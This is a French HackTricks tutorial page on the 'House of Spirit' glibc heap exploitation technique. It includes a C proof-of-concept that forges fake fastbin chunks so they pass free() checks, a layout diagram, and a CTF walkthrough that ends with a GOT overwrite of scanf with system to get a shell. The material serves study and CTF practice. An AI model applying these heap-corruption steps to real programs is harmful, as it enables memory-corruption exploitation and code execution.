6.5 KiB
Maison de l'Esprit
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.
Informations de base
Code
Maison de l'Esprit
```c #include #include #include #include// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };
int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30); printf("Victim: %p\n", victim);
return 0; }
</details>
### Objectif
* Être capable d'ajouter une adresse dans le tcache / fast bin afin de pouvoir l'allouer ultérieurement
### Exigences
* Cette attaque nécessite qu'un attaquant soit capable de créer quelques faux chunks rapides indiquant correctement leur taille, puis de pouvoir libérer le premier faux chunk pour qu'il soit placé dans le bin.
### Attaque
* Créer des faux chunks qui contournent les vérifications de sécurité : vous aurez besoin de 2 faux chunks indiquant essentiellement dans les bonnes positions les bonnes tailles
* Trouver un moyen de libérer le premier faux chunk pour qu'il soit placé dans le fast ou le tcache bin, puis l'allouer pour écraser cette adresse
**Le code de** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **est excellent pour comprendre l'attaque.** Bien que ce schéma du code la résume assez bien :
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
{% hint style="info" %} Notez qu'il est nécessaire de créer le deuxième chunk afin de contourner certaines vérifications de cohérence. {% endhint %}
Exemples
- CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html
- Libc infoleak: Via un débordement, il est possible de modifier un pointeur pour pointer vers une adresse GOT afin de divulguer une adresse libc via l'action de lecture du CTF.
- House of Spirit: En abusant d'un compteur qui compte le nombre de "fusils", il est possible de générer une fausse taille du premier faux chunk, puis en abusant d'un "message", il est possible de falsifier la deuxième taille d'un chunk et enfin en abusant d'un débordement, il est possible de modifier un pointeur qui va être libéré pour que notre premier faux chunk soit libéré. Ensuite, nous pouvons l'allouer et à l'intérieur se trouvera l'adresse où est stocké le "message". Ensuite, il est possible de faire pointer cela vers l'entrée
scanf
dans la table GOT, afin que nous puissions le remplacer par l'adresse de system.
La prochaine fois quescanf
est appelé, nous pouvons envoyer l'entrée"/bin/sh"
et obtenir un shell.
Références
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres façons de soutenir HackTricks:
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.